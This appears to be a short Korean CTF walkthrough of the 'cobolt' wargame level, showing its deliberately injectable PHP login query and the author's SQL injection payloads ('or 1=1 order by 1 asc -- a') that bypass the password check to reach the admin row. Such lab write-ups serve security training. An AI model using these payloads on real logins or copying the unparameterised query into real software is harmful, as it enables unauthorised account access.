include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob||.|()/i', $_GET[id])) exit("No Hack ~~"); if(preg_match('/prob||.|()/i', $_GET[pw])) exit("No Hack ~~"); $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "
query : {$query}
"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "
Hello {$result['id']} You are not admin :(
"; highlight_file(FILE); ?>
이거도 그냥 간단히 넘어보려고 다음과 같이 쿼리를 짰다
select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 desc -- a')
근데 리턴되는 값이 이상하다.
Hello rubiya You are not admin :(
컬럼에 하나만 있을 줄 알았더니 몇개가 더 있나보다. 한 두개쯤 있을 것 같으니 (아마 세개째부터는 생각을 해야될것 같지만)
select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 asc -- a')
이런식으로 현재 select 되는 row가 아닌 다른 row를 선택되게 바꿔주면 pass